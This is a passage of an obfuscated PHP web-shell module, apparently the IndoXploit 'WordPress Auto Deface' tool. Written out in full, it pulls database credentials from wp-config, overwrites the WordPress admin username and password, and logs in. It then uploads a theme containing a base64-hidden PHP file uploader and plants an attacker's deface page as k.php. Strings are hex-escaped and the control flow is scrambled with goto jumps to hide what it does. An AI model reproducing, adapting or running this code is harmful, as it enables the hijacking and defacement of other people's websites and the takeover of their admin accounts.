"\\133\\x2d\\x5d\\40\\115\\x79\\123\\121\\114\\40\\x45\\162\\x72\\x6f\\162\\x3a\\40\\x3c\\146\\157\\x6e\\164\\x20\\143\\157\\154\\x6f\\x72\\x3d\\162\\x65\\x64\\x3e" . mysql_error() . "\\74\\57\\146\\157\\156\\164\\x3e\\x3c\\142\\162\\x3e\\x3c\\x62\\162\\x3e"; mysql_close($conn); } else { goto p1qzl; m8oXZ: mysql_close($conn); goto FFwC3; DByN7: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); goto syXSG; Zl3y3: curl_close($ch6); goto PbXMS; GPhZr: curl_setopt($ch6, CURLOPT_COOKIESESSION, true); goto D8bdK; U48rI: $upload3 = base64_decode("\\x5a\\62\\x46\\165\\x64\\x47\\126\\x75\\132\\x77\\60\\x4b\\x50\\x44\\x39\\x77\\x61\\110\\101\\x4e\\x43\\x69\\122\\x6d\\x61\\127\\170\\154\\x4d\\171\\x41\\71\\111\\x43\\x52\\x66\\x52\\x6b\\154\\115\\122\\126\\x4e\\142\\x4a\\x32\\132\\160\\142\\107\\x55\\172\\112\\61\\60\\67\\104\\x51\\x6f\\147\\111\\x43\\122\\x75\\x5a\\130\\144\\x6d\\x61\\127\\170\\x6c\\115\\172\\x30\\x69\\141\\x79\\65\\167\\x61\\x48\\101\\x69\\117\\167\\60\\113\\x49\\103\\x41\\147\\x49\\x43\\x41\\x67\\111\\103\\x41\\147\\111\\x43\\101\\x67\\111\\103\\x41\\147\\111\\107\\x6c\\155\\x49\\103\\150\\x6d\\141\\127\\170\\154\\130\\x32\\x56\\x34\\141\\x58\\x4e\\60\\x63\\x79\\147\\151\\114\\x69\\x34\\x76\\114\\x69\\64\\166\\114\\151\\x34\\x76\\x4c\\151\\64\\166\\111\\151\\64\\153\\x62\\155\\x56\\63\\x5a\\155\\154\\x73\\132\\x54\\115\\x70\\x4b\\123\\x42\\x31\\142\\155\\170\\160\\142\\x6d\\x73\\157\\x49\\151\\64\\x75\\114\\171\\64\\x75\\114\\x79\\x34\\165\\114\\x79\\64\\165\\x4c\\171\\x49\\x75\\112\\107\\65\\154\\x64\\x32\\132\\160\\142\\x47\\x55\\x7a\\x4b\\124\\x73\\116\\x43\\151\\101\\x67\\111\\x43\\x41\\147\\x49\\x43\\x41\\147\\142\\x57\\x39\\62\\132\\x56\\71\\61\\x63\\107\\170\\x76\\x59\\127\\122\\154\\132\\106\\x39\\155\\x61\\127\\x78\\154\\113\\103\\122\\x6d\\141\\127\\x78\\154\\115\\x31\\x73\\156\\x64\\107\\x31\\x77\\130\\x32\\x35\\x68\\142\\x57\\125\\156\\x58\\123\\167\\147\\x49\\x69\\x34\\x75\\x4c\\171\\64\\x75\\114\\x79\\x34\\x75\\x4c\\x79\\x34\\x75\\114\\x79\\122\\165\\132\\x58\\144\\155\\x61\\127\\170\\x6c\\115\\171\\x49\\x70\\117\\167\\60\\113\\104\\121\\157\\x2f\\120\\147\\x3d\\75"); goto lLFvG; GlZAU: $b1 = anucurl($site2); goto gKQy4; f7hSD: curl_setopt($ch6, CURLOPT_POSTFIELDS, array("\\x66\\151\\154\\145\\x33" => "\\100{$namafile}")); goto OIcJz; JpdyU: $post2 = array("\\x5f\\167\\160\\156\\x6f\\x6e\\143\\x65" => "{$anu2}", "\\x5f\\x77\\160\\x5f\\150\\164\\x74\\160\\x5f\\x72\\x65\\146\\x65\\162\\x65\\162" => "\\x2f\\x77\\160\\x2d\\141\\x64\\155\\x69\\x6e\\57\\164\\x68\\x65\\x6d\\x65\\55\\151\\x6e\\x73\\164\\x61\\x6c\\154\\x2e\\160\\x68\\160\\77\\165\\160\\x6c\\157\\x61\\x64", "\\x74\\150\\x65\\x6d\\145\\x7a\\x69\\x70" => "\\x40{$www}", "\\x69\\156\\x73\\x74\\x61\\154\\x6c\\x2d\\x74\\x68\\x65\\155\\145\\55\\163\\165\\142\\x6d\\151\\x74" => "\\x49\\156\\163\\x74\\x61\\154\\154\\x20\\x4e\\157\\x77"); goto u_arX; u_arX: $ch = curl_init("{$target}\\57\\x77\\160\\x2d\\x61\\144\\x6d\\x69\\156\\x2f\\x75\\x70\\x64\\x61\\x74\\x65\\x2e\\160\\150\\160\\x3f\\141\\x63\\164\\x69\\157\\156\\75\\x75\\160\\x6c\\x6f\\141\\x64\\55\\x74\\150\\x65\\x6d\\145"); goto EyTDa; m8K__: $fpi = fopen($namafile, "\\167"); goto JD3iU; IbmjW: curl_setopt($ch6, CURLOPT_COOKIEFILE, "\\x63\\x6f\\x6f\\x6b\\x69\\145\\56\\x74\\170\\164"); goto I1hcK; PYRKO: $b = lohgin($site, $site2, $user, $pass, $wp_sub); goto KEskZ; Jeyxr: $namafile = "\\x69\\x64\\56\\x70\\x68\\160"; goto m8K__; oYoKe: $bs = anucurl($as); goto QrZum; rCLpc: $y = date("\\x59"); goto ZYnaN; gKQy4: $wp_sub = ambilkata($b1, "\\x69\\144\\x3d\\x22\\x77\\160\\55\\x73\\x75\\x62\\x6d\\151\\x74\\42\\x20\\x63\\154\\x61\\163\\163\\x3d\\42\\x62\\165\\x74\\164\\x6f\\156\\40\\142\\165\\164\\164\\157\\156\\x2d\\x70\\162\\x69\\x6d\\141\\162\\x79\\x20\\142\\165\\164\\x74\\157\\x6e\\x2d\\154\\141\\162\\147\\x65\\42\\40\\166\\x61\\154\\x75\\145\\x3d\\42", "\\x22\\40\\57\\76"); goto PYRKO; JD3iU: fputs($fpi, $script); goto M5bvf; p1qzl: $site = "{$target}\\57\\x77\\160\\55\\154\\x6f\\147\\x69\\156\\56\\160\\x68\\x70"; goto xVPzi; yTTN8: curl_close($ch); goto rCLpc; QrZum: if (preg_match("\\x23{$script}\\43\\x69\\163", $bs)) { echo "\\133\\53\\x5d\\x20\\x3c\\x66\\157\\x6e\\x74\\x20\\x63\\157\\x6c\\x6f\\x72\\75\\47\\x23\\x31\\70\\102\\x43\\71\\x43\\47\\76\\142\\x65\\x72\\150\\x61\\163\\151\\154\\40\\155\\x65\\x70\\x65\\163\\x2e\\56\\x2e\\x3c\\57\\x66\\x6f\\x6e\\x74\\76\\74\\142\\162\\x3e"; echo "\\133\\53\\x5d\\x20\\x3c\\x61\\40\\x68\\162\\x65\\146\\75\\x27{$as}\\47\\40\\x74\\x61\\162\\147\\x65\\164\\75\\47\\137\\x62\\154\\x61\\156\\153\\47\\x3e{$as}\\x3c\\57\\x61\\76\\x3c\\x62\\x72\\x3e\\x3c\\x62\\x72\\x3e"; } else { goto FNEsN; FNEsN: echo "\\133\\55\\135\\40\\x3c\\x66\\157\\156\\x74\\40\\143\\157\\x6c\\x6f\\x72\\75\\x27\\162\\x65\\144\\47\\x3e\\x67\\141\\147\\x61\\154\\40\\x6d\\145\\x70\\x65\\163\\x2e\\x2e\\x2e\\74\\x2f\\146\\x6f\\156\\164\\76\\x3c\\142\\x72\\x3e"; goto mVjl3; mVjl3: echo "\\133\\x21\\x21\\x5d\\x20\\143\\x6f\\x62\\x61\\x20\\x61\\152\\141\\40\\x6d\\141\\156\\165\\141\\154\\72\\40\\74\\142\\162\\76"; goto g_PJP; SFTnC: echo "\\x5b\\x2b\\135\\40\\165\\x73\\145\\162\\x6e\\141\\x6d\\x65\\72\\40\\74\\x66\\x6f\\x6e\\x74\\40\\143\\x6f\\154\\157\\x72\\75\\x23\\x31\\x38\\102\\x43\\71\\103\\76{$user}\\74\\x2f\\x66\\157\\x6e\\164\\x3e\\74\\x62\\162\\x3e"; goto PL4u4; g_PJP: echo "\\133\\53\\135\\40\\x3c\\x61\\x20\\150\\x72\\145\\x66\\75\\x27{$target}\\x2f\\167\\160\\x2d\\x6c\\x6f\\x67\\x69\\156\\56\\x70\\x68\\160\\47\\40\\164\\141\\162\\x67\\x65\\x74\\75\\x27\\137\\x62\\x6c\\141\\156\\x6b\\x27\\76{$target}\\57\\x77\\x70\\55\\x6c\\157\\x67\\151\\x6e\\56\\x70\\x68\\x70\\x3c\\x2f\\x61\\x3e\\x3c\\142\\162\\76"; goto SFTnC; PL4u4: echo "\\133\\x2b\\135\\x20\\x70\\141\\163\\x73\\x77\\x6f\\162\\x64\\x3a\\40\\74\\x66\\157\\x6e\\164\\x20\\143\\157\\154\\157\\x72\\x3d\\x23\\x31\\x38\\x42\\103\\x39\\103\\x3e{$pass}\\x3c\\57\\x66\\x6f\\156\\164\\76\\x3c\\x62\\x72\\76\\74\\142\\x72\\76"; goto kb0ZL; kb0ZL: } goto m8oXZ; vWa92: curl_setopt($ch, CURLOPT_COOKIEJAR, "\\143\\x6f\\157\\x6b\\x69\\145\\x2e\\x74\\x78\\x74"); goto OExr2; D8bdK: $postResult = curl_exec($ch6); goto Zl3y3; xaTUZ: curl_setopt($ch, CURLOPT_POSTFIELDS, $post2); goto vWa92; ZYnaN: $m = date("\\155"); goto Jeyxr; PbXMS: $as = "{$target}\\x2f\\153\\x2e\\x70\\x68\\160"; goto oYoKe; xVPzi: $site2 = "{$target}\\x2f\\x77\\160\\x2d\\x61\\x64\\155\\x69\\x6e\\57\\x74\\150\\145\\x6d\\145\\55\\x69\\156\\x73\\x74\\141\\x6c\\154\\x2e\\x70\\x68\\x70\\x3f\\x75\\x70\\x6c\\157\\x61\\x64"; goto GlZAU; I6D0i: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto DByN7; n7S_H: $fp5 = fopen($www, "\\167"); goto y24ea; OExr2: curl_setopt($ch, CURLOPT_COOKIEFILE, "\\143\\157\\x6f\\x6b\\151\\145\\56\\x74\\170\\164"); goto iY5A9; EyTDa: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto I6D0i; KEskZ: $anu2 = ambilkata($b, "\\156\\x61\\155\\145\\75\\x22\\137\\167\\x70\\156\\157\\x6e\\143\\x65\\x22\\x20\\166\\x61\\x6c\\165\\x65\\75\\42", "\\42\\40\\57\\76"); goto U48rI; lLFvG: $www = "\\x6d\\56\\x70\\150\\x70"; goto n7S_H; X6kOO: $data3 = curl_exec($ch); goto yTTN8; y24ea: fputs($fp5, $upload3); goto JpdyU; lhlY1: curl_setopt($ch6, CURLOPT_POST, true); goto f7hSD; lsmKy: curl_setopt($ch, CURLOPT_POST, 1); goto xaTUZ; M5bvf: $ch6 = curl_init("{$target}\\57\\167\\x70\\x2d\\143\\157\\x6e\\x74\\x65\\156\\164\\x2f\\x75\\160\\x6c\\x6f\\x61\\144\\163\\57{$y}\\57{$m}\\x2f{$www}"); goto lhlY1; OIcJz: curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1); goto IbmjW; I1hcK: curl_setopt($ch6, CURLOPT_COOKIEJAR, "\\x63\\x6f\\157\\153\\x69\\145\\x2e\\x74\\170\\164"); goto GPhZr; iY5A9: curl_setopt($ch, CURLOPT_COOKIESESSION, true); goto X6kOO; syXSG: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto lsmKy; FFwC3: } goto vEQa5; lKRxe: $result2 = mysql_fetch_array($q2); goto rwt2I; R2GsB: $dbhost = ambilkata($config, "\\x44\\102\\x5f\\110\\117\\x53\\124\\x27\\x2c\\x20\\47", "\\x27"); goto y_8BJ; KIO2c: $q2 = mysql_query("\\123\\x45\\x4c\\x45\\x43\\124\\x20\\x2a\\x20\\106\\122\\117\\x4d\\40{$option}\\x20\\117\\122\\x44\\105\\x52\\x20\\102\\131\\x20\\157\\x70\\x74\\x69\\157\\x6e\\137\\151\\144\\x20\\x41\\x53\\103"); goto lKRxe; y_8BJ: $dbuser = ambilkata($config, "\\104\\102\\x5f\\x55\\x53\\x45\\122\\x27\\54\\40\\47", "\\x27"); goto SCNbK; bzpjF: $prefix = $dbprefix . "\\165\\x73\\x65\\162\\163"; goto db2wD; oGk5x: $id = $result[ID]; goto KIO2c; SCNbK: $dbpass = ambilkata($config, "\\x44\\x42\\x5f\\120\\x41\\x53\\x53\\x57\\x4f\\x52\\104\\x27\\x2c\\40\\47", "\\x27"); goto l9yQB; vEQa5: } goto Kg1_f; Kg1_f: } goto kvaq6; OJVPW: $passx = md5($pass); goto zlbIH; GYuio: $scan = $_POST["\\154\\151\\x6e\\x6b\\137\\143\\157\\156\\x66\\151\\147"]; goto rvgB3; AK2Lq: $user = "\\151\\156\\x64\\157\\170\\x70\\x6c\\x6f\\x69\\x74"; goto MNhbC; kvaq6: } else { echo "\\x3c\\x63\\x65\\156\\164\\145\\x72\\76\\x3c\\x68\\x31\\x3e\\127\\157\\x72\\144\\x50\\x72\\x65\\163\\163\\x20\\101\\x75\\x74\\x6f\\x20\\x44\\x65\\x66\\x61\\x63\\145\\74\\x2f\\150\\x31\\76\\xd\\12\\11\\11\\74\\146\\157\\162\\x6d\\40\\x6d\\x65\\164\\150\\x6f\\x64\\x3d\\x27\\160\\x6f\\163\\x74\\x27\\76\\xd\\12\\x9\\x9\\74\\151\\156\\x70\\165\\164\\40\\164\\171\\160\\145\\75\\x27\\164\\x65\\x78\\x74\\47\\40\\x6e\\141\\155\\145\\x3d\\47\\x6c\\x69\\156\\x6b\\x5f\\143\\157\\x6e\\x66\\151\\x67\\47\\40\\x73\\151\\x7a\\x65\\x3d\\47\\x35\\60\\47\\40\\x68\\145\\x69\\x67\\150\\164\\x3d\\47\\x31\\x30\\47\\x20\\166\\x61\\154\\x75\\145\\x3d\\x27{$dir}\\x27\\x3e\\x3c\\142\\162\\76\\xd\\12\\11\\x9\\x3c\\x69\\156\\x70\\165\\x74\\40\\164\\x79\\160\\x65\\x3d\\x27\\x74\\x65\\170\\x74\\47\\x20\\x6e\\141\\x6d\\x65\\75\\47\\x73\\x63\\162\\x69\\x70\\x74\\47\\x20\\x68\\x65\\x69\\x67\\150\\164\\x3d\\47\\61\\60\\x27\\x20\\x73\\x69\\172\\145\\x3d\\47\\x35\\x30\\47\\40\\160\\154\\141\\x63\\x65\\150\\157\\x6c\\x64\\x65\\x72\\75\\x27\\x48\\x61\\143\\x6b\\x65\\x64\\x20\\142\\171\\40\\x49\\x6e\\x64\\x6f\\x58\\x70\\154\\x6f\\x69\\164\\x27\\40\\162\\x65\\161\\165\\151\\162\\x65\\x64\\x3e\\74\\x62\\162\\x3e\\15\\xa\\11\\11\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\171\\160\\145\\75\\x27\\163\\x75\\x62\\155\\x69\\164\\47\\x20\\143\\x6c\\x61\\163\\163\\x3d\\x27\\x62\\164\\x6e\\x20\\x62\\x74\\x6e\\55\\x73\\165\\143\\143\\x65\\x73\\163\\x20\\142\\x74\\156\\x2d\\x73\\155\\47\\40\\x73\\164\\171\\154\\x65\\75\\x27\\x77\\151\\x64\\x74\\x68\\x3a\\40\\x34\\x35\\60\\x70\\x78\\x3b\\15\\xa\\xd\\xa\\xd\\12\\x27\\x20\\x6e\\x61\\155\\145\\x3d\\47\\141\\x75\\x74\\x6f\\137\\x64\\x65\\146\\141\\x63\\x65\\x5f\\x77\\160\\47\\40\\x76\\141\\x6c\\x75\\145\\x3d\\x27\\110\\x61\\x6a\\x61\\162\\41\\41\\47\\x3e\\xd\\12\\11\\x9\\x3c\\x2f\\146\\x6f\\162\\x6d\\76\\15\\12\\11\\11\\74\\142\\x72\\76\\x3c\\163\\160\\141\\156\\76\\x4e\\102\\72\\x20\\x54\\x6f\\x6f\\154\\x73\\40\\x69\\x6e\\151\\x20\\167\\157\\x72\\153\\40\\x6a\\x69\\x6b\\x61\\x20\\144\\151\\x6a\\x61\\154\\x61\\x6e\\153\\141\\156\\40\\144\\151\\x20\\x64\\x61\\154\\141\\155\\x20\\x66\\157\\x6c\\144\\145\\x72\\x20\\x3c\\165\\76\\143\\x6f\\156\\146\\x69\\147\\x3c\\57\\x75\\76\\40\\50\\40\\145\\170\\72\\x20\\x2f\\150\\x6f\\155\\x65\\57\\x75\\x73\\145\\x72\\x2f\\160\\165\\142\\x6c\\x69\\x63\\137\\x68\\x74\\155\\x6c\\x2f\\156\\x61\\155\\x61\\x5f\\146\\157\\154\\144\\145\\x72\\x5f\\x63\\x6f\\x6e\\146\\x69\\x67\\x20\\x29\\x3c\\x2f\\x73\\160\\141\\x6e\\76\\xd\\12\\11\\11\\74\\57\\x63\\x65\\156\\x74\\145\\x72\\x3e"; } } elseif ($_GET["\\x64\\157"] == "\\141\\x75\\164\\x6f\\137\\144\\167\\160\\x32") { if ($_POST["\\x61\\x75\\x74\\x6f\\x5f\\x64\\145\\x66\\141\\143\\145\\137\\167\\x70"]) { goto VdIPf; hr3so: $user = "\\x69\\x6e\\x64\\x6f\\x78\\x70\\154\\157\\x69\\164"; goto iDkft; iDkft: $pass = "\\151\\x6e\\x64\\157\\170\\160\\154\\x6f\\151\\x74"; goto LAGfk; SpOv7: $script = htmlspecialchars($_POST["\\x73\\x63\\x72\\151\\160\\164"]); goto hr3so; VdIPf: function anucurl($sites) { goto MlRnH; Y2qMv: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto vxrvB; tZvg0: $data = curl_exec($ch); goto v2qwp; Opeqb: curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); goto DzpQm; YHA56: return $data; goto D19Fm; lpLNi: curl_setopt($ch, CURLOPT_COOKIEFILE, "\\143\\157\\157\\x6b\\151\\x65\\x2e\\x74\\x78\\164"); goto xfp3e; DzpQm: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); goto Y2qMv; xfp3e: curl_setopt($ch, CURLOPT_COOKIESESSION, true); goto tZvg0; PE47p: curl_setopt($ch, CURLOPT_USERAGENT, "\\115\\157\\x7a\\151\\x6c\\154\\x61\\57\\x35\\56\\x30\\40\\x28\\127\\151\\156\\x64\\157\\167\\163\\40\\x4e\\124\\40\\x36\\56\\x31\\x3b\\xd\\xa\\xd\\xa\\15\\12\\x20\\x72\\166\\72\\63\\62\\56\\60\\x29\\x20\\x47\\x65\\x63\\x6b\\157\\x2f\\x32\\x30\\61\\60\\x30\\x31\\x30\\61\\x20\\106\\x69\\162\\x65\\146\\157\\170\\x2f\\x33\\x32\\x2e\\60"); goto Opeqb; v2qwp: curl_close($ch); goto YHA56; gileZ: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto PE47p; UGPQz: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto gileZ; MlRnH: $ch = curl_init($sites); goto UGPQz; vxrvB: curl_setopt($ch, CURLOPT_COOKIEJAR, "\\x63\\x6f\\157\\x6b\\x69\\x65\\56\\x74\\x78\\x74"); goto lpLNi; D19Fm: } goto g1f9q; LAGfk: $passx = md5($pass); goto lNHSp; lNHSp: foreach ($link as $dir_config) { goto G6Fww; kopA9: if (!$conn or !$db or !$update) { echo "\\x5b\\55\\x5d\\40\\115\\171\\x53\\121\\114\\x20\\105\\x72\\x72\\x6f\\162\\x3a\\40\\x3c\\146\\157\\156\\x74\\x20\\x63\\x6f\\154\\x6f\\x72\\75\\x72\\145\\x64\\76" . mysql_error() . "\\74\\57\\146\\x6f\\x6e\\164\\x3e\\x3c\\142\\162\\76\\x3c\\142\\162\\x3e"; mysql_close($conn); } else { goto v2A8k; yqtga: $b1 = anucurl($site2); goto DWOmB; QtsFj: $data3 = curl_exec($ch); goto HjEPz; ePHCs: $anu2 = ambilkata($b, "\\x6e\\141\\x6d\\x65\\75\\x22\\x5f\\167\\x70\\156\\x6f\\x6e\\143\\x65\\42\\x20\\166\\141\\x6c\\165\\x65\\75\\x22", "\\x22\\40\\x2f\\x3e"); goto Kh9F_; UBa4j: $as = "{$target}\\57\\x6b\\56\\160\\x68\\x70"; goto qsO0w; UD2B9: curl_setopt($ch, CURLOPT_POSTFIELDS, $post2); goto wxdk0; idjGf: curl_close($ch6); goto UBa4j; ZkciK: $y = date("\\x59"); goto k2g4z; TmlTV: $postResult = curl_exec($ch6); goto idjGf; YkWin: curl_setopt($ch6, CURLOPT_POST, true); goto Ap5tu; Lh57V: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); goto eUAhq; b6uuE: curl_setopt($ch, CURLOPT_COOKIEFILE, "\\143\\157\\x6f\\153\\x69\\x65\\56\\164\\170\\164"); goto eo8AB; HjEPz: curl_close($ch); goto ZkciK; iLmRT: curl_setopt($ch6, CURLOPT_COOKIESESSION, true); goto TmlTV; DIMxc: if (preg_match("\\x23{$script}\\43\\151\\x73", $bs)) { echo "\\x5b\\53\\x5d\\x20\\74\\x66\\x6f\\x6e\\x74\\x20\\x63\\157\\154\\x6f\\162\\75\\47\\43\\61\\70\\x42\\103\\x39\\103\\47\\76\\142\\145\\x72\\150\\141\\163\\151\\x6c\\40\\x6d\\145\\160\\x65\\163\\x2e\\56\\x2e\\74\\57\\x66\\157\\x6e\\164\\76\\74\\142\\162\\x3e"; echo "\\133\\53\\x5d\\x20\\74\\141\\x20\\150\\x72\\x65\\x66\\x3d\\47{$as}\\47\\40\\x74\\x61\\x72\\147\\x65\\x74\\75\\x27\\x5f\\142\\x6c\\x61\\156\\x6b\\x27\\76{$as}\\74\\x2f\\141\\76\\74\\x62\\162\\x3e\\74\\142\\162\\76"; } else { goto j2cBy; j2cBy: echo "\\133\\55\\x5d\\x20\\x3c\\146\\157\\x6e\\x74\\x20\\x63\\157\\154\\x6f\\x72\\x3d\\x27\\162\\145\\144\\x27\\x3e\\147\\x61\\147\\141\\x6c\\x20\\155\\x65\\x70\\145\\x73\\56\\x2e\\x2e\\74\\57\\146\\157\\x6e\\164\\76\\74\\x62\\162\\x3e"; goto lanou; BjDVa: echo "\\x5b\\x2b\\x5d\\x20\\160\\141\\163\\x73\\167\\157\\162\\144\\72\\40\\x3c\\x66\\157\\156\\164\\x20\\143\\157\\154\\157\\162\\x3d\\43\\61\\x38\\102\\x43\\71\\x43\\76{$pass}\\74\\x2f\\146\\157\\x6e\\x74\\76\\x3c\\142\\162\\x3e\\74\\x62\\x72\\x3e"; goto ESCPW; do9lO: echo "\\133\\53\\135\\40\\x75\\163\\145\\x72\\x6e\\141\\x6d\\145\\x3a\\x20\\x3c\\x66\\157\\x6e\\x74\\40\\x63\\157\\x6c\\x6f\\x72\\x3d\\x23\\61\\70\\x42\\103\\x39\\x43\\76{$user}\\74\\57\\146\\157\\156\\x74\\76\\74\\142\\x72\\x3e"; goto BjDVa; lanou: echo "\\133\\41\\x21\\135\\40\\143\\x6f\\142\\x61\\40\\141\\152\\x61\\x20\\x6d\\x61\\x6e\\x75\\141\\154\\x3a\\40\\x3c\\x62\\162\\76"; goto B3YuF; B3YuF: echo "\\133\\53\\135\\x20\\x3c\\141\\40\\x68\\x72\\x65\\146\\x3d\\47{$target}\\x2f\\167\\x70\\x2d\\154\\157\\x67\\151\\156\\56\\x70\\x68\\160\\x27\\40\\x74\\141\\x72\\x67\\145\\x74\\75\\x27\\137\\142\\154\\x61\\156\\x6b\\47\\76{$target}\\x2f\\x77\\x70\\55\\x6c\\157\\147\\151\\156\\x2e\\160\\150\\x70\\x3c\\57\\141\\76\\x3c\\x62\\162\\76"; goto do9lO; ESCPW: } goto LrxqC; U19UJ: curl_setopt($ch6, CURLOPT_COOKIEJAR, "\\143\\x6f\\x6f\\x6b\\151\\145\\56\\x74\\x78\\164"); goto iLmRT; IzFnk: $ch = curl_init("{$target}\\x2f\\x77\\160\\55\\x61\\x64\\x6d\\x69\\x6e\\x2f\\x75\\x70\\x64\\141\\164\\x65\\x2e\\x70\\x68\\160\\77\\141\\143\\164\\x69\\157\\156\\x3d\\165\\160\\x6c\\157\\x61\\144\\55\\164\\150\\x65\\155\\145"); goto fXa1J; Kh9F_: $upload3 = base64_decode("\\x5a\\62\\106\\165\\144\\107\\x56\\x75\\132\\167\\60\\x4b\\x50\\x44\\71\\167\\x61\\110\\101\\x4e\\103\\151\\x52\\155\\141\\127\\170\\154\\115\\171\\x41\\71\\x49\\103\\x52\\x66\\122\\x6b\\154\\115\\122\\x56\\116\\x62\\112\\62\\132\\x70\\x62\\x47\\x55\\x7a\\112\\61\\x30\\x37\\x44\\121\\157\\x67\\111\\103\\x52\\x75\\x5a\\x58\\x64\\x6d\\141\\x57\\x78\\154\\x4d\\x7a\\x30\\x69\\x61\\x79\\65\\167\\x61\\x48\\x41\\151\\x4f\\x77\\x30\\x4b\\x49\\x43\\x41\\x67\\111\\x43\\x41\\x67\\x49\\x43\\x41\\147\\111\\103\\101\\147\\x49\\x43\\x41\\147\\x49\\x47\\154\\155\\111\\x43\\x68\\155\\141\\x57\\x78\\x6c\\130\\62\\x56\\64\\x61\\130\\116\\60\\x63\\171\\x67\\151\\x4c\\x69\\x34\\166\\x4c\\151\\64\\166\\114\\x69\\x34\\x76\\114\\151\\64\\166\\x49\\151\\64\\x6b\\142\\155\\x56\\x33\\132\\155\\154\\163\\x5a\\x54\\115\\x70\\x4b\\x53\\x42\\61\\x62\\x6d\\170\\x70\\142\\x6d\\163\\157\\111\\x69\\x34\\165\\114\\x79\\x34\\x75\\x4c\\x79\\x34\\165\\x4c\\x79\\64\\x75\\114\\x79\\111\\x75\\x4a\\107\\65\\x6c\\144\\x32\\132\\x70\\142\\x47\\x55\\x7a\\113\\x54\\163\\116\\x43\\151\\x41\\147\\111\\x43\\101\\x67\\111\\x43\\101\\x67\\x62\\127\\x39\\62\\132\\x56\\71\\x31\\x63\\x47\\170\\166\\131\\x57\\x52\\x6c\\132\\106\\x39\\155\\141\\x57\\170\\x6c\\x4b\\103\\x52\\x6d\\141\\x57\\x78\\x6c\\115\\x31\\x73\\x6e\\144\\107\\x31\\x77\\130\\62\\x35\\x68\\x62\\x57\\125\\156\\x58\\x53\\167\\x67\\x49\\151\\x34\\165\\x4c\\x79\\x34\\x75\\x4c\\171\\x34\\x75\\x4c\\x79\\x34\\x75\\x4c\\171\\x52\\x75\\x5a\\x58\\x64\\x6d\\141\\127\\170\\x6c\\115\\x79\\x49\\x70\\117\\167\\60\\x4b\\104\\121\\157\\x2f\\120\\147\\x3d\\75"); goto jKFLo; eUAhq: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto QFrfW; xef74: curl_setopt($ch6, CURLOPT_COOKIEFILE, "\\143\\x6f\\x6f\\x6b\\151\\x65\\x2e\\164\\x78\\x74"); goto U19UJ; zIOmw: $fpi = fopen($namafile, "\\167"); goto d5Ubb; DWOmB: $wp_sub = ambilkata($b1, "\\151\\144\\x3d\\42\\167\\x70\\x2d\\x73\\x75\\142\\155\\151\\x74\\42\\40\\143\\154\\141\\163\\x73\\x3d\\x22\\x62\\x75\\x74\\164\\157\\x6e\\40\\142\\165\\164\\164\\x6f\\x6e\\x2d\\x70\\162\\151\\155\\x61\\162\\x79\\x20\\142\\165\\x74\\164\\x6f\\x6e\\x2d\\154\\141\\162\\x67\\x65\\42\\40\\166\\x61\\x6c\\165\\145\\x3d\\x22", "\\x22\\x20\\57\\x3e"); goto h8L84; wxdk0: curl_setopt($ch, CURLOPT_COOKIEJAR, "\\143\\157\\157\\x6b\\x69\\x65\\x2e\\164\\170\\x74"); goto b6uuE; v2A8k: $site = "{$target}\\57\\x77\\160\\55\\x6c\\157\\147\\x69\\156\\x2e\\x70\\150\\160"; goto rjAD8; qsO0w: $bs = anucurl($as); goto DIMxc; jKFLo: $www = "\\x6d\\x2e\\160\\150\\160"; goto NGpGp; QFrfW: curl_setopt($ch, CURLOPT_POST, 1); goto UD2B9; r0NN1: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto Lh57V; LrxqC: mysql_close($conn); goto PZJcG; eo8AB: curl_setopt($ch, CURLOPT_COOKIESESSION, true); goto QtsFj; Ap5tu: curl_setopt($ch6, CURLOPT_POSTFIELDS, array("\\x66\\151\\x6c\\145\\63" => "\\x40{$namafile}")); goto ZMpLZ; PIf7l: fputs($fp5, $upload3); goto S_E5t; rjAD8: $site2 = "{$target}\\x2f\\167\\x70\\x2d\\x61\\144\\155\\x69\\x6e\\x2f\\x74\\x68\\145\\x6d\\x65\\x2d\\151\\x6e\\163\\x74\\x61\\154\\x6c\\56\\x70\\x68\\x70\\x3f\\x75\\x70\\154\\157\\x61\\144"; goto yqtga; ZMpLZ: curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1); goto xef74; d5Ubb: fputs($fpi, $script); goto pCeiK; JevWK: $namafile = "\\x69\\144\\x2e\\x70\\150\\x70"; goto zIOmw; h8L84: $b = lohgin($site, $site2, $user, $pass, $wp_sub); goto ePHCs; S_E5t: $post2 = array("\\137\\x77\\x70\\156\\157\\156\\143\\145" => "{$anu2}", "\\x5f\\x77\\x70\\137\\150\\x74\\x74\\160\\x5f\\162\\x65\\x66\\x65\\x72\\145\\x72" => "\\57\\x77\\x70\\55\\141\\144\\155\\x69\\x6e\\57\\164\\150\\x65\\x6d\\x65\\55\\151\\156\\163\\164\\141\\x6c\\x6c\\x2e\\160\\x68\\x70\\x3f\\x75\\x70\\154\\x6f\\x61\\x64", "\\x74\\150\\145\\155\\145\\172\\x69\\x70" => "\\100{$www}", "\\x69\\156\\x73\\164\\x61\\154\\154\\55\\x74\\150\\x65\\x6d\\145\\55\\163\\x75\\142\\155\\x69\\164" => "\\111\\156\\x73\\x74\\x61\\154\\154\\x20\\x4e\\x6f\\x77"); goto IzFnk; fXa1J: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto r0NN1; NGpGp: $fp5 = fopen($www, "\\167"); goto PIf7l; k2g4z: $m = date("\\x6d"); goto JevWK; pCeiK: $ch6 = curl_init("{$target}\\x2f\\x77\\x70\\55\\143\\157\\x6e\\x74\\145\\156\\x74\\57\\x75\\160\\154\\x6f\\x61\\144\\x73\\57{$y}\\x2f{$m}\\57{$www}"); goto YkWin; PZJcG: } goto tXV0N; UdtVT: $option = $dbprefix . "\\157\\x70\\164\\151\\157\\x6e\\163"; goto pa0CK; YKyeq: $dbpass = ambilkata($config, 